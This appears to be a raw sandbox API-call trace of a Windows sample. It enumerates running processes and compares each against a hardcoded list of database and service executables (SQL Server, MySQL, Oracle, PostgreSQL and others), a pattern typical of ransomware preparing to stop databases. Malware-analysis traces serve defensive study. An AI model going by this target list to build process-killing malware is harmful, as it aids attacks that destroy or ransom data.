	[0060.204] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="firefoxconfig.exe") returned 1
	[0060.204] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="sqlwriter.exe") returned -1
	[0060.204] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="sqlagent.exe") returned -1
	[0060.204] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="mysqld-nt.exe") returned 1
	[0060.204] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="MsDtsSrvr.exe") returned 1
	[0060.204] lstrlenW (lpString="postgres.exe") returned 12
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="postgres.exe") returned 1
	[0060.204] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="sqlservr.exe") returned -1
	[0060.205] lstrlenW (lpString="synctime.exe") returned 12
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="synctime.exe") returned -1
	[0060.205] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="sqlserv.exe") returned -1
	[0060.205] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="Ssms.exe") returned -1
	[0060.205] lstrlenW (lpString="oracle.exe") returned 10
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="oracle.exe") returned 1
	[0060.205] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="UniFi.exe") returned -1
	[0060.205] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="fdhost.exe") returned 1
	[0060.205] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="mydesctopservice.exe") returned 1
	[0060.205] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="mysqld-opt.exe") returned 1
	[0060.205] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="ocomm.exe") returned 1
	[0060.205] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="tbirdconfig.exe") returned -1
	[0060.205] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="ntdbsmgr.exe") returned 1
	[0060.205] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.205] lstrcmpW (lpString1="services.exe", lpString2="sqlceip.exe") returned -1
	[0060.205] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.206] lstrcmpW (lpString1="services.exe", lpString2="mysqld.exe") returned 1
	[0060.206] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.206] lstrcmpW (lpString1="services.exe", lpString2="dbsnmp.exe") returned 1
	[0060.206] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.206] lstrcmpW (lpString1="services.exe", lpString2="msmdsrv.exe") returned 1
	[0060.206] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.206] lstrcmpW (lpString1="services.exe", lpString2="sqlbrowser.exe") returned -1
	[0060.206] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.206] lstrcmpW (lpString1="services.exe", lpString2="pg_ctl.exe") returned 1
	[0060.206] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.206] lstrcmpW (lpString1="services.exe", lpString2="msftesql.exe") returned 1
	[0060.206] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.206] lstrcmpW (lpString1="services.exe", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.206] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0060.207] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="ocssd.exe") returned -1
	[0060.207] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="fdlauncher.exe") returned 1
	[0060.207] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="ocautoupds.exe") returned -1
	[0060.207] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="firefoxconfig.exe") returned 1
	[0060.207] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="sqlwriter.exe") returned -1
	[0060.207] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="sqlagent.exe") returned -1
	[0060.207] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="mysqld-nt.exe") returned -1
	[0060.207] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="MsDtsSrvr.exe") returned -1
	[0060.207] lstrlenW (lpString="postgres.exe") returned 12
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="postgres.exe") returned -1
	[0060.207] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="sqlservr.exe") returned -1
	[0060.207] lstrlenW (lpString="synctime.exe") returned 12
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="synctime.exe") returned -1
	[0060.207] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.207] lstrcmpW (lpString1="lsass.exe", lpString2="sqlserv.exe") returned -1
	[0060.208] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.208] lstrcmpW (lpString1="lsass.exe", lpString2="Ssms.exe") returned -1
	[0060.208] lstrlenW (lpString="oracle.exe") returned 10
	[0060.208] lstrcmpW (lpString1="lsass.exe", lpString2="oracle.exe") returned -1
	[0060.208] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.208] lstrcmpW (lpString1="lsass.exe", lpString2="UniFi.exe") returned -1
	[0060.208] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.208] lstrcmpW (lpString1="lsass.exe", lpString2="fdhost.exe") returned 1
	[0060.208] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.208] lstrcmpW (lpString1="lsass.exe", lpString2="mydesctopservice.exe") returned -1
	[0060.208] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0060.213] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.216] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.217] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.225] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.250] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.251] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0060.252] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.253] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.253] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0060.254] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0060.256] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0060.257] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.258] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0060.259] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0060.260] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow.exe")) returned 1
	[0060.261] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cookbook_richardson_harper.exe")) returned 1
	[0060.262] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_transfer.exe")) returned 1
	[0060.263] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lockedseekingsuccess.exe")) returned 1
	[0060.264] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="advisor.exe")) returned 1
	[0060.265] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="looserender.exe")) returned 1
	[0060.265] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="encounter-subsequently-gain.exe")) returned 1
	[0060.266] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="picnic-q-promote.exe")) returned 1
	[0060.267] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="components portions adverse.exe")) returned 1
	[0060.268] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="severe-workplace-spoken.exe")) returned 1
	[0060.268] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sail persons.exe")) returned 1
	[0060.269] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="engagement banned.exe")) returned 1
	[0060.270] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="acre_compound.exe")) returned 1
	[0060.272] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="url msgid.exe")) returned 1
	[0060.273] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="orlando.exe")) returned 1
	[0060.274] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0060.275] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0060.276] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0060.276] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0060.277] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0060.278] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0060.279] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0060.280] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0060.281] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0060.281] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0060.282] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0060.283] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0060.284] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0060.285] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0060.286] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0060.287] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0060.288] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x670, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0060.667] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0060.667] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0060.668] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0060.669] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0060.670] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0060.671] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0060.672] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0060.673] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0060.675] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0060.676] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0060.678] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0060.679] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0060.680] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0060.680] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0060.681] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0060.682] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
